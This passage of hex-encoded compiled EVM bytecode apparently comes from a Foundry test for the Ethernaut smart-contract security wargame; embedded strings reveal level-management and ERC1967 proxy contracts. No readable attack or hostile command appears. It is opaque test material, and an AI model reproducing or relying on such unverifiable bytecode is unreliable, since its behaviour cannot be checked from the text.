7916001600160a01b039182169116620014ad565b620019f3565b565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d43578382905f5260205f200180546200120290620022fe565b80601f01602080910402602001604051908101604052809291908181526020018280546200123090620022fe565b80156200127f5780601f1062001255576101008083540402835291602001916200127f565b820191905f5260205f20905b8154815290600101906020018083116200126157829003601f168201915b505050505081526020019060010190620011e2565b5f80604051620012a49062001ac5565b604051809103905ff080158015620012be573d5f803e3d5ffd5b5090505f604051620012d09062001ad3565b604051809103905ff080158015620012ea573d5f803e3d5ffd5b508483604051620012fb9062001ae1565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001335573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001394575f80fd5b505af1158015620013a7573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d43575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200149457602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014405790505b50505050508152505081526020019060010190620013d6565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001509575f80fd5b505af11580156200151c573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b1580156200157a575f80fd5b505af11580156200158d573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620015f1573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200161a919081019062002012565b90506001815111156200163257600191505062001637565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d43578382905f5260205f200180546200168090620022fe565b80601f0160208091040260200160405190810160405280929190818152602001828054620016ae90620022fe565b8015620016fd5780601f10620016d357610100808354040283529160200191620016fd565b820191905f5260205f20905b815481529060010190602001808311620016df57829003601f168201915b50505050508152602001906001019062001660565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001769575f80fd5b505af11580156200177c573d5f803e3d5ffd5b5050602054602154620011bd9350620017a392506001600160a01b039182169116620014ad565b62001a72565b6008545f9060ff1615620017c1575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001850573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001876919062002377565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a10575050505050905090565b5f620018ea82436200238f565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007f2575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019a89086908690600401620023a5565b5f60405180830381865afa158015620019c3573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620019ec9190810190620023d6565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a58575f80fd5b505afa15801562001a6b573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a41565b610ae5806200240d83390190565b611e7a8062002ef283390190565b610daa8062004d6c83390190565b6001600160a01b038116811462001b04575f80fd5b50565b5f805f6060848603121562001b1a575f80fd5b833562001b278162001aef565b9250602084013562001b398162001aef565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001b8c5783516001600160a01b03168352928401929184019160010162001b65565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001bd25762001bd262001b98565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c045762001c0462001b98565b604052919050565b5f67ffffffffffffffff82111562001c285762001c2862001b98565b50601f01601f191660200190565b5f6020828403121562001c47575f80fd5b813567ffffffffffffffff81111562001c5e575f80fd5b8201601f8101841362001c6f575f80fd5b803562001c8662001c808262001c0c565b62001bd8565b81815285602083850101111562001c9b575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001cd457818101518382015260200162001cba565b50505f910152565b5f815180845262001cf581602086016020860162001cb8565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001dbd57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001da657605f1988850301835262001d9384865162001cdc565b948d01949350918c019160010162001d74565b505050968901969350509087019060010162001d2e565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001e8b57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001e755783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e31565b5096890196945050509086019060010162001df3565b509098975050505050505050565b5f6020828403121562001eaa575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f0a57603f1988860301845262001ef785835162001cdc565b9450928501929085019060010162001ed8565b5092979650505050505050565b5f6020828403121562001f28575f80fd5b8135620019ec8162001aef565b5f806040838503121562001f47575f80fd5b823562001f548162001aef565b9150602083013562001f668162001aef565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fa15762001fa162001b98565b5060051b60200190565b5f62001fbb62001c808462001c0c565b905082815283838301111562001fcf575f80fd5b620019ec83602083018462001cb8565b5f82601f83011262001fef575f80fd5b620019ec8383516020850162001fab565b80516200200d8162001aef565b919050565b5f602080838503121562002024575f80fd5b825167ffffffffffffffff808211156200203c575f80fd5b818501915085601f83011262002050575f80fd5b81516200206162001c808262001f85565b81815260059190911b8301840190848101908883111562002080575f80fd5b8585015b8381101562002181578051858111156200209c575f80fd5b86016060818c03601f19011215620020b2575f80fd5b620020bc62001bac565b8882015187811115620020cd575f80fd5b8201603f81018d13620020de575f80fd5b89810151620020f162001c808262001f85565b81815260059190911b8201604001908b8101908f83111562002111575f80fd5b6040840193505b82841015620021335783518252928c0192908c019062002118565b84525050506040820151878111156200214a575f80fd5b6200215a8d8b8386010162001fdf565b8a830152506200216d6060830162002000565b604082015284525091860191860162002084565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200163757620016376200218e565b5f60208284031215620021c9575f80fd5b815167ffffffffffffffff811115620021e0575f80fd5b8201601f81018413620021f1575f80fd5b620022028482516020840162001fab565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200224381600585016020880162001cb8565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200228281600a84016020880162001cb8565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620022cb81846020880162001cb8565b835190830190620022e181836020880162001cb8565b01949350505050565b602081525f620019ec602083018462001cdc565b600181811c908216806200231357607f821691505b6020821081036200233257634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002349575f80fd5b8151620019ec8162001aef565b5f6020828403121562002367575f80fd5b81518015158114620019ec575f80fd5b5f6020828403121562002388575f80fd5b5051919050565b808201808211156200163757620016376200218e565b604081525f620023b9604083018562001cdc565b8281036020840152620023cd818562001cdc565b95945050505050565b5f60208284031215620023e7575f80fd5b815167ffffffffffffffff811115620023fe575f80fd5b620022028482850162001fdf56fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b